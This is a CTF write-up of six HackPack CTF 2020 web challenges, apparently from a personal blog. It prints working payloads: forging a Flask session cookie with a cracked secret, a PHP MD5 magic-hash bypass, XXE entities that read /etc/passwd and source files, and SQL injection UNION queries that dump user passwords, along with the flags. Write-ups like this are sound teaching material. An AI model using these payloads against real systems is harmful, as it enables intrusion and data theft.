HackPack CTF 2020 Web Writeups

Posted on 2020-04-30

https://ctftime.org/event/1036

👉 Japanese Version

Cookie Forge100pt114/418
Treasure Map100pt356/418
Super Secret Flag Vault100pt324/418
Paster100pt155/418
Custom UI211pt86/418
Online Birthday Party316pt69/418

I solved it after ending the contest.







Cookie Forge

Help a new local cookie bakery startup shake down their new online ordering and loyalty rewards portal at https://cookie-forge.cha.hackpack.club!
I wonder if they will sell you a Flask of milk to go with your cookies…

I tried guest:guest and got in with one shot.
I’ll take a look at the cookies.
It’s a JWT.

image.png

There is a setting called flagship.
If you press Flagship Loyalty in the menu, you will get You aren't a Flagship Loyalty Member! No cookies for you!!.
It would be good if the flagship was true.
It doesn’t seem to work even if you set alg to none.

---- I saw the writeup ----

It was password analysis…
Looking at the writeup, I can learn “flusk-unsign”.

flask-unsign -c "eyJmbGFnc2hpcCI6ZmFsc2UsInVzZXJuYW1lIjoiZ3Vlc3QifQ.XqmdeQ.hFE97UZPXYUDDcApFB1b48Uq1MQ" --unsign
It seems that the password is password1.

flask-unsign --sign --secret password1 --cookie "{'flagship': True, 'username': 'guest'}"
I remade it with this and put it in the cookie.

image.png

Reference







Treasure Map

Hmm, do pirates really think they can hide a treasure without us knowing? Find the treasure and prove they are wrong. Check here: https://treasure-map.cha.hackpack.club/

image.png

There’s a FLAG in there somewhere, so look for it.
The hint says to look for the MAP.

There is no information in the source code, but if you go to /robots.txt, you will find Sitemap: /treasuremap.xml.

1
2
3
4
5
6
7
8
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
<url>
<loc>7BmqJfhWhEa30NeVj7j2.html</loc>
<lastmod>2005-01-01</lastmod>
<changefreq>monthly</changefreq>
<priority>0.8</priority>
</url>
</urlset>

OK. /7BmqJfhWhEa30NeVj7j2.html
When you get there, there’s a flag written on it.







Super Secret Flag Vault

See if you can get into the super secret flag vault! I have used the latest and greatest techniques with php to make sure you cant get past my vault.
Take me to the Vault (with an attachment
https://super-secret-flag-vault.cha.hackpack.club/

image.png

I guess entering the cipher will open the safe and give you the flag.
If you look at the source code, you’ll see that passwords are hashed internally.
It starts with 0e, which is a famous hash.

It is the Magic Hash of PHP.
When a password is hashed with MD5, the beginning of the password may be 0e by chance.
The comparison of MD5 hashes is weak==, so "0e?????"=="0e??????" is true.
Therefore, MD5 should be hashed and the input should start with 0e.
An example is QNKCDZO.
If you put this in, you get a flag.







Paster

Come and BETA Test our new social networking site. Its like twitter but shorter
Go checkout Paster now
https://paster.cha.hackpack.club/

image.png

Even if you type it in, it seems to be limited to 22 characters.
The tweets seem to be outputting at random, but I’m not sure.
If you look at the source code, it’s an iframe, so let’s look at /frames/index.php.
It also refers to js, so let’s look at /frames/game-frame.js.

image.png

Ugh…
This is an obfuscation form called JSFuck, which can be unobfuscated by here.

1
2
3
4
5
6
7
parent.postMessage(window.location.toString(), "*");
var originalAlert = window.alert;
window.alert = function(t) {
parent.postMessage("success", "*"), flag = atob("ZmxhZ3t4NTVfaTVOdF83aEE3X2JBRF9SMUdoNz99"), setTimeout(function() {
originalAlert("Congratulations, you executed an alert:\n\n" + t + "\n\nhere is the flag: " + flag)
}, 50)
};

flag = atob("ZmxhZ3t4NTVfaTVOdF83aEE3X2JBRF9SMUdoNz99")
There’s one that looks like it, so I’ll take a look at the contents.

image.png







Custom UI

How often do you visit the website just to bounce back because of bad design? Now we developed a new feature, which gives you the ability to change the design! Check out a new feature: https://custom-ui.cha.hackpack.club/

image.png

It looks like you can insert the parameters you entered.
I’m going to pass the parameters of <, which seems to be abnormal.

1
2
Warning: DOMDocument::loadXML(): StartTag: invalid element name in Entity, line: 1 in /var/www/html/index.php on line 12
Warning: simplexml_import_dom(): Invalid Nodetype to import in /var/www/html/index.php on line 13

Oh, they’re using an xml parser internally.
I tried putting it in at random, but it doesn’t work. If you look at the code, it says something in post.js.
Each time the form is filled in, HTML is written to be inserted into the value of the xdata tag that is hidden.
If you put html directly here, it seems to be reflected. Put the payload directly here.

1
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><button><color>ffffff</color><value>&xxe;</value></button>

image.png

That’s good. I don’t see anything in particular that bothers me.
Look for payloads that can be used at PayloadsAllTheThings.
I see, you can use that thing in the php protocol to extract the data.
Just know that there is an index.php from the error, so you can get it out.

1
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE netspi [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php" >]><button><color>ffffff</color><value>&xxe;</value></button>

It says echo "<!-- TODO: Delete flag.txt from /etc/ -->";.

1
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/flag.txt" >]><button><color>ffffff</color><value>&xxe;</value></button>

image.png







Online Birthday Party

This pandemic hit everybody hard. Especially, those who want to make a birthday party. That is why we decided to create a website where you can find those who have the same birthdate as yours. Check it out: https://online-birthday-party.cha.hackpack.club/

Investigation

A site where you can see people with the same birthday.

  • Site Information
    • /index.php Top page
    • /account.php You can log in or register.
    • /profile.php Pages that appear after login
      • GET requests don’t response anything.
      • POST requests show users with the same birthday.
  • The HTTP response shows that Apache/2.4.29 is used.
    • It seems to be able to do RCE, but it can’t upload files.
  • Cookie
    • PHPSESSID Session ID; no HttpOnly, Secure, or SameSite settings are included.
    • _7341c http://192.168.181.16:41721/ is in there. I don’t know.
  • The birthday part of the new registration
    - They must be using this to search, since they are putting out the same users on the same birthday.
    • I suspect that SQLi can do.

SQL Injection

Change the birthday part of the new registration response to ' with burp.

image.png

Now, when I look at the screen that looks for users with the same birthday…

image.png

OK! It looks like you can do SQLi.
He even politely showed me his query.

I tried it with a'# and the query succeeded.
The DB looks like MySQL.

Note that if you display it normally, you will get confused because other people are trying XSS.
(Or rather, aren’t we under attack?) )
Try to stop the response in burp and check the raw response as well.

a' UNION SELECT DISTINCT TABLE_NAME, null from INFORMATION_SCHEMA.COLUMNS #

1
CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,COLUMNS,COLUMN_PRIVILEGES,ENGINES,EVENTS,FILES,GLOBAL_STATUS,GLOBAL_VARIABLES,KEY_COLUMN_USAGE,OPTIMIZER_TRACE,PARAMETERS,PARTITIONS,PLUGINS,PROCESSLIST,PROFILING,REFERENTIAL_CONSTRAINTS,ROUTINES,SCHEMATA,SCHEMA_PRIVILEGES,SESSION_STATUS,SESSION_VARIABLES,STATISTICS,TABLES,TABLESPACES,TABLE_CONSTRAINTS,TABLE_PRIVILEGES,TRIGGERS,USER_PRIVILEGES,VIEWS,INNODB_LOCKS,INNODB_TRX,INNODB_SYS_DATAFILES,INNODB_FT_CONFIG,INNODB_SYS_VIRTUAL,INNODB_CMP,INNODB_FT_BEING_DELETED,INNODB_CMP_RESET,INNODB_CMP_PER_INDEX,INNODB_CMPMEM_RESET,INNODB_FT_DELETED,INNODB_BUFFER_PAGE_LRU,INNODB_LOCK_WAITS,INNODB_TEMP_TABLE_INFO,INNODB_SYS_INDEXES,INNODB_SYS_TABLES,INNODB_SYS_FIELDS,INNODB_CMP_PER_INDEX_RESET,INNODB_BUFFER_PAGE,INNODB_FT_DEFAULT_STOPWORD,INNODB_FT_INDEX_TABLE,INNODB_FT_INDEX_CACHE,INNODB_SYS_TABLESPACES,INNODB_METRICS,INNODB_SYS_FOREIGN_COLS,INNODB_CMPMEM,INNODB_BUFFER_POOL_STATS,INNODB_SYS_COLUMNS,INNODB_SYS_FOREIGN,INNODB_SYS_TABLESTATS,users

Well, there’s a lot going on, but users is fine.

a' UNION SELECT COLUMN_NAME, null FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'users' #

1
id,username,password,bday

Let’s take a look at them two at a time.

a' UNION SELECT id, username FROM users #

There is nothing to worry about.

a' UNION SELECT password, bday FROM users #

flag{c0mpl1cat3d_2nd_0rd3r_sql}
Capture the flag.